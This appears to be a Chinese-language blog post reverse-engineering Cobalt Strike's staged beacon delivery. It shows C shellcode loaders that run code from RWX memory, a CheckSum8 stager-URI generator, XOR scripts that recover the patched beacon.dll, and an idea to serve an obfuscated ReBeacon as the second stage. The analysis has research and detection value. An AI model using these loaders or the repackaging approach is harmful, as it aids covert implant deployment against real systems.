背景

起源于一个问题:CS怎么用ReBeacon打包成的EXE/DLL?

  • stageless 表示把所有功能全部打包到一个文件里面
  • staged 小片段的shellcode拉一个beacon.dll(小马拉大马),其中ReBeacon就是beacon.dll的实现

Staged Shellcode工作流程

第一阶段

很常规的生成一个shellcode,写一个简单的程序加载然后调试:

方式1

#include<stdio.h>
#include<Windows.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "";
int main() {
    __asm {
        mov ecx, offset buf
        jmp ecx
    }
}

方式2

#include<stdio.h>  
#include<Windows.h>  
int main() {  
	unsigned char buf[] = "shellcode";  
	LPVOID address = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);  
	memcpy(address, buf, sizeof(buf));  
	((void(*)())address)();  
	return 0;  
}

方式3

void start2nd()
{
    HANDLE hfile = CreateFileA("1.mem", FILE_ALL_ACCESS, 0, NULL, 
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    LPVOID buffer = VirtualAlloc(NULL, 0x4000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    DWORD realRead = 0;
    ReadFile(hfile, buffer, 0x4000000,&realRead, NULL);
    ((void(*)())buffer)();
}

使用x64dbg调试文件,首先到入口点:

跟进call:

其中74656E696E6977是以小端存储的wininet的ascii:

这种API Hash算法叫ROR13,因为算法用到了0xd(13)这个值,这种算法在MSF和CS都有着广泛的使用。接着走到call rbp的操作,通过x64dbg右键点击在内存窗口中转到,然后以汇编的形式显示内存,可以看到是GetProcAddress原理实现那部分的功能,通过定位TEB和PEB来定位需要函数的地址。

第二阶段

整个shellcode走完之后,会从CS下载一个文件,这个文件首先会进行自解密,解密出来之后还原未一个修补过的PE文件:

解密刚开始文件大小是40E00=265728,在跳出循环的下一个指令F4,解密完成,然后开始执行rax处的shellcode,这里是把一个PE文件当作了shellcode来执行:

使用Scylla导出PE文件,然后PE查看器可以看到一个修补过的反射DLL:

细节

第一次调试完上面的流程其实还是懵逼的状态,再次回到开头的问题:

  • CS怎么用ReBeacon打包成的EXE/DLL?
  • beacon.dll怎么转换成第二阶段的payload

第二阶段的算法

第二阶段下载的payload采用了一种CheckSum8的算法,实现如下:

#conding: utf-8

def generate_checksum(input):
    trial = ""
    total = 0
    while total != input:
        total = 0
        trial = ''.join(random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789")
                        for i in range(4))
        for i in range(4):
            total = (total + ord(trial[i:i+1])) % 256
    return trial


def calculate_input_from_checksum(strings):
    total = 0
    for char in strings:
        total = (total + ord(char)) % 256
    return total
if __name__ == "__main__":
    print(generate_checksum(92))  # x86
    print(generate_checksum(93))  # x64
    print(calculate_input_from_checksum("5rSd"))

很多网络测绘平台都会针对这种算法获取cs的服务端配置,比如你在VPS设置了https的监听,在前面用CDN域前置或者CD的worker转发,如果不对监听端口做防护,那么就可以根据这个算法dump出服务端的配置。
网上流行的服务有这么两种:

  • 固定URI,访问某个URI的时候才返回
  • 修改CheckSum8算法

实际下载一个payload,结构如下:

以上面的数据为例子,PE头加密之后的hex是23 10,XOR的key是6E 4A C7 E3,解密如下:

整体的解密脚本:

import struct
import sys

beacon = "beacon_x64.bin"
def xor(a, b):
    return bytearray([a[0]^b[0], a[1]^b[1], a[2]^b[2], a[3]^b[3]])

with open(beacon, "rb") as f:
    data = f.read()

ba = 0x3f
key = data[ba:ba+4]
print("Key : {}".format(key.hex()))
size = struct.unpack("I", xor(key, data[ba+4:ba+8]))[0]
print(type(data[ba+4:ba+8].hex()))
print("Size : {}".format(size))

res = bytearray()
i = ba+8
while i < (len(data) - ba - 8):
    d = data[i:i+4]
    res += xor(d, key)
    key = d
    i += 4

with open("a.out", "wb+") as f:
    f.write(res)

ba的值就是解密功能shellcode的长度加1,解密出来的a.out就是服务端的修补beacon.dll,也就是wbglil师傅的Payload生成分析 - Cobalt Strike里面提到的:

整体来说Beacon修补了三个地方PE头,Malleable C2通信规则,Malleable C2后渗透规则

题外话

在分析到这一步的时候,我不知道这个payload的结构和解密的算法,修改了解密算法,从0x00~0xff尝试256次:

import struct
import sys

beacon = sys.argv[1]

def xor(a, b):
    return bytearray([a[0]^b[0], a[1]^b[1], a[2]^b[2], a[3]^b[3]])

with open(beacon, "rb") as f:
    data = f.read()

for ba in range(1, 257):
    key = data[ba:ba+4]
    print("Key : {}".format(key))
    size = struct.unpack("I", xor(key, data[ba+4:ba+8]))[0]
    print("Size : {}".format(size))

    res = bytearray()
    i = ba+8
    while i < (len(data) - ba - 8):
        d = data[i:i+4]
        res += xor(d, key)
        key = d
        i += 4

    with open(str(ba)+".out", "wb+") as f:
        f.write(res)

解密256个文件,查看是否存在PE文件,63转成hex就是3f:

结果

对于本文开始的问题就有一个答案了,CS在二阶段返回的内容是以shellcode来执行的,最简单的方式是把ReBeacon转成Shellcode再用sgn混淆一下,当客户端请求二阶段的时候直接返回:)
CS后续上线怎么处理呢,一个MITM的事情。

参考资料

⬆︎TOP